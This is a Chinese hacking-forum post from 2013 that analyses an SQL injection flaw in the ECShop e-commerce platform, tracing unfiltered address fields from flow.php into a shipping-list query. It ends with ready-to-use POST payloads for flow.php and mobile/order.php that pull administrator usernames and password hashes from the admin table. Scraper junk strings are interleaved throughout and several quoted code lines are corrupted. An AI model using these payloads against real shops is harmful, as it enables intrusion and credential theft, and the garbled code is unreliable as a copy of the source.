找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2236|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
$ d+ E  d4 b7 W4 F. s" Z+ O3 [# {. M
7 S. P3 C% E6 i. v2 A/ T. T    漏洞关键文件:( d/ Q. }- I& [5 w6 P6 f
9 x. `, W$ d# [. z) B: P+ B1 o
    /includes/lib_order.php
3 T( I4 a: q% V- a0 w
  `" l4 @) t8 F# t8 n    关键函数:
6 k3 F. J" d& ?1 N# \* C( g
3 t) C& S7 z8 o; { " c% ~! I  A% ~7 i

4 Z: W) B8 ]$ i- j7 n9 o01     function available_shipping_list($region_id_list) ; [, `4 ~: Q- ~" i/ G+ r( Y

! q" s1 f: U. |' a7 W: }02 {
/ I3 R. S- ~4 c0 b5 m2 s" e
# E5 \# N, N3 v* W* Q7 M- ?03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
" y' \  a9 e: |5 c$ }
8 S1 i# _/ A5 ?0 X: K# I" P04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
" {/ u  Y8 a- P0 a
% {% d( l, r2 X5 x- M05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
  p. C7 r  x8 c9 ~! K% g! u, B. I8 R3 |% ^! [
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . $ r' e; E& ^3 q1 x5 g; x) }
; z% v" r, q& ]  e  W
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. , P7 t+ Z8 J4 o& M- ^) @/ o

" |7 u! M: {+ Z8 c# N3 F5 J08             'WHERE r.region_id ' . db_create_in($region_id_list) .
+ Y+ ~' d$ E/ Z' S/ m1 U5 `0 x2 p4 `( g" A' A& W% n( y0 m
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
- `7 S. d- x  O# Q% m  O* O1 r
7 R6 B6 r. @5 |10   7 l3 \; B  c8 e4 B0 O) P1 Y
- ^9 M( ^8 y0 V" ]
11     return $GLOBALS['db']->getAll($sql);
4 v: v" g* k  G5 J3 O3 B7 e0 |  y( ~' T# X
12 }
- ^% b, Q- B) B  h% ]  R
3 P/ n2 [1 L% h% ^8 q" ~* `显然对传入的参数没有任何过滤就带入了查询语句。
" y& u4 L8 S, C9 p* q4 m 0 T& B2 v, S: _, F3 p
下面我们追踪这个函数在flow.php中:
5 F" u- X# d/ ? 第531行:   
4 L- Y. y% f( h- ?( m9 ?7 c
% |- K6 t0 c6 J% x7 K1 $shipping_list     = available_shipping_list($region);
. I* x6 f( w) _+ j  l3 J! ]  ?- v
; \; ^: S$ x5 s8 } * S0 Z. H! u1 s

  A8 e1 n* o  r! D7 | ! t; T3 ~% U/ Z4 R6 V

9 M( |7 G6 z4 L0 [7 A# M* ?再对传入变量进行追踪:
) u! H! n" R, ?" T6 n6 x; f- K! t  f4 |
第530行:   
+ W0 w2 Y# v- A, U% T4 c8 t
+ R( f7 j/ U' |; e1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); " ^2 j! C* x1 x. u! v9 w" ]* A
# g+ t5 M4 v8 M+ t, V% ^* U5 Z

) ?. U' S- r9 J9 j/ ]1 r, ~' i0 g/ @* k: R4 ?4 x1 {

5 s- N$ K1 o$ p0 {! V
" s7 i9 s5 \, Q第473行:        
) @. R  Y5 U1 ^+ O9 a/ s/ d
! g4 I  V# d2 x2 `1 $consignee = get_consignee($_SESSION['user_id']); . @# z3 j0 D5 j* M

* o( U3 b( }% x' z) w到了一个关键函数:5 ~  e- g3 Z$ R2 r7 a( a$ P  ]

* s. b6 |5 [% h, T( m1 }9 k, |: v/includes/lib_order.php
$ r* A' `9 M+ S
% ]+ }0 V$ k$ I; F7 E/ K * N( w) r' Z# _" Z
0 _. x* s( m; i+ A% n

7 f0 X7 r+ ]' y6 Q; I& `% T$ l4 t
01 function get_consignee($user_id)
8 t1 `, _1 L( \/ h3 a. i: [1 K9 {- L/ \0 y; ?* r
02 { + ^  a, m$ ]* X& V0 P4 l& q
$ ?) }+ X; q1 R
03     if (isset($_SESSION['flow_consignee']))
; K* P. t7 a& x8 A  l  C8 ?+ Q# p8 z% v% E
04     { $ G9 }8 E% s8 M/ D  k" n
  V9 B- n. Z4 r6 J' }) q
05         /* 如果存在session,则直接返回session中的收货人信息 */
3 q, `& k% Z  G+ Y2 f: `
  G# @% l5 @* f' S; y06   
( Y* l' l: `. W) y- p& f$ w# E" M, ^& L0 I7 c
07         return $_SESSION['flow_consignee']; ( A' B/ _1 f3 I* i8 R& G- M; \
7 m5 ~2 R+ q9 ~' V
08     } 0 k- l+ F, Q3 a3 T9 l. B3 G3 o9 W2 j) w

$ z# _2 }; W5 Q8 i+ m$ j09     else
, N& u$ O7 e5 N- y
6 e7 I; \9 g* m# j10     {
  N: u- D7 ?# z, u( e, c3 Q1 Q5 h; |% |* B- O* |
11         /* 如果不存在,则取得用户的默认收货人信息 */
8 N& a2 J0 ^0 N6 ?; p6 c
1 O/ |* H+ ?/ A* J4 d/ |12         $arr = array(); 4 N% m/ b# M5 y) m' n: O4 B

5 ?& y2 o. c  h13   5 ~: m0 }* d' o7 V2 A
0 q) j6 O& L! |7 H/ [7 j3 m' o
14         if ($user_id > 0) + ^2 P% z7 l0 {
2 }- s) u: a+ j6 W2 y
15         { 2 n# }) N0 k: H6 t. I# Z
3 {) @8 W: H5 H9 b; U- \
16             /* 取默认地址 */
; G( A5 L, `% i2 S; Y. Z8 P( Z7 }/ s3 n) o% U
17             $sql = "SELECT ua.*".   ]" V6 v- e5 l7 T7 L

( A; g$ w) m. j8 e2 q$ ~& I. Z( M18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ! `1 B! Z8 a+ u1 B2 V
3 H$ G* U( x. r4 \
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ) p4 z" o3 u0 {2 P6 N1 L- ?1 c4 }: X  A

4 G+ D1 ~) i8 h5 ~20   
$ V5 G; j2 b& k; O
6 e6 y4 [  S/ O, c21             $arr = $GLOBALS['db']->getRow($sql); " v) u( ^4 @) N) W6 E' ]
: Q- y7 A5 K. p5 Y* s
22         } 7 k) |& D9 l; b% m

- {1 j* y. t$ f+ w5 E" I23   ) J! ?( ?/ ~: T5 k' A3 {
# E+ N& N; P- ?: c0 v* ?& m
24         return $arr; : H8 y  C0 ]# B& y7 X6 h) |( d
- [  G2 v9 V3 h# `% f+ t5 X9 Z
25     }
9 t  u& u/ |$ X6 E8 N/ O! w# O& {' _, B  ]
26 }
' x" h) ~2 C& I/ N# H) E/ O8 |2 S( C  C5 B1 Z: ]! i# d9 R$ V4 Q# x& v
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
. i! {- e! K; l2 {
8 G% P; q. A* A- T 6 d  t: ^6 U7 g* T

$ ]: |# c7 v. `& s关键点:
$ Q& O# ^. t  {) |8 x% W  H
1 |$ \) f5 m. [( @第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);: `# e8 r1 M# E  N9 R+ ?3 ?

. B" J( [/ X0 |5 k3 \$ k这里对传入参数反转义存入$_SESSION中。) s4 D# W4 O$ M$ |
, m3 E/ a# d8 |7 t7 h

% O7 }( c; c) G1 l0 O5 r" ]- K5 ?3 v0 p0 a1 e. J
然后看下:) {4 y/ I3 I1 P; [1 }: I
8 J# M: U0 p7 p( }  e

' \! u4 _# s4 C, C7 }- f3 \7 w- C  a* \  C# v# Q, N* `
   
$ C; O8 B" P0 A0 Z
& i) o! v6 v' m0 {. o& @( W  Y01 $consignee = array(
7 }8 Q$ Z) A/ q, U# f
5 p  B0 N8 d7 Q* m. T02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
" N# k6 D. n: |2 O+ ]* g  R8 i7 C) _) a3 \$ O* f! g
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
& |1 W3 y0 r5 [7 a1 {& R) Z& G( x, F) K7 E- B4 `+ E, F! j
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 8 i# {% B, f& _: b3 J

  u( Q: z+ s4 m9 q) ?, T: ?# T; p; ^05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 2 l# ?% {8 ^" p0 T$ W

/ a% u: T- t& r( ~06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
; G* o6 x* O% Z- W# j
; K4 q) s: d8 R; a07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
( f' k# ~7 v0 U; Y
& |. v+ F0 ^/ M) u- S08         'email'         => empty($_POST['email'])      ? '' _POST['email'], : d9 r8 Y+ B' S( V6 t% s9 g
! I' k4 S9 @( P/ o) O& [
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], & O! t( O- E& h  E  c, W
# }, L3 k$ b$ i; L: L' R0 e
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), ; \- W% S/ D; z
2 f( G" g; f4 }0 g
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
. W, s) O. `1 G. O* r6 ?; {) s: r8 V' @: ^
" B" V# k' I2 Z  ^2 b( A- q! C! n12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
0 a" w; s  q4 u: x% F: s7 o! t; G6 k; r3 W. s! ^+ ^2 x
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
6 d0 f: n8 W' i! Z- M; F7 z; F# o0 a) y- U% g' j
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
# `0 `/ F% L3 V. ?6 }4 u
5 m2 s$ ?1 o+ N# P/ x15     );
: @$ @# x- D) |- E4 c5 E+ j) a/ l7 S4 J
好了注入就这样出现了。2 \- R2 E# T2 _! o' M% s5 ]
* S3 t- m4 v0 V6 U
==================* m9 L. {( X6 T3 B; ^8 `

1 H$ R" D2 c- d8 D注入测试:2 a! ]+ e. w# I

. m2 T) e; O" Y% _环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
+ l  J6 h0 h& J/ d; O: r' L0 F5 ]; h1 J4 J. x: p) K
测试程序:ECShop_V2.7.3_UTF8_release1106
- n% V2 q3 p5 V( n+ Q% I; |1 w
- X. U7 S  Z( ~! R5 z3 e  b
, H4 J- B$ v1 U1 H: j+ A! N5 }( X% \' c" s* n( N1 T. o; ?; {
1.首先需要点击一个商品加入购物车3 ~4 i" N- c& M' \5 Z, P

$ L- h8 ?. E$ D% p, w" N# a2.注册一个会员帐号
* N/ ~" A* R+ R
0 v( h& s8 C3 u& Y3.post提交数据
5 }1 u+ h0 h" |' v: i
- n8 E: l* V# L. r* U! c& V$ ^ 5 E7 H% r+ R2 W6 n( j% k! D

' T' J8 y+ {  S/ V( m) l6 T1 http://127.0.0.1/ecshop/flow.php
. W* \$ a3 n# t# P9 s- e5 x
4 O$ f0 h9 Q% w4 m( S" }% Y. t- B% e2   
, I( I, f7 n( O: c* G- m
% c5 `7 S/ V. n4 `3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= $ `" r' J, l4 @! c* C
举一反三,我们根据这个漏洞我们可以继续深入挖掘:% ]* T1 P& Q9 D, s/ \

2 v7 o, N; x% p  h  P# d  C我们搜寻关键函数function available_shipping_list()- X5 P7 e$ M& I; O
+ E+ x; q) [, s4 B  Y1 `) p8 S
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
" X2 \" I$ {3 I. t. c/ ]- W3 c: `% |, F; ^, ^
利用exp:  {. _5 u5 F! a& |' X
- Y( d& m9 a( }' u$ w* J
1.点击一个商品,点击购买商标
0 p% m5 Z0 n3 u8 G9 x. M0 Z# h, W* f0 Z( |- Y
2.登录会员帐号6 k- }9 `5 c  V5 m3 c8 N

! g7 |  e0 ?( P8 \# V& q( i5 k! ]3.post提交:; M3 g4 r# ]) I  P3 v" p
* B8 u% C5 [2 L6 V
http://127.0.0.1/ecshop/mobile/order.php
7 p" B" b! u+ y  Z+ W' R0 n6 Y" c+ w- g6 B1 E2 `# s
" ?$ O/ ~6 z# D9 _
# Q/ B% v. I! o. |% @! q" D: x
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. S" A4 S7 o# F1 g6 f% ?
* O3 ?: C. ]! a! ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表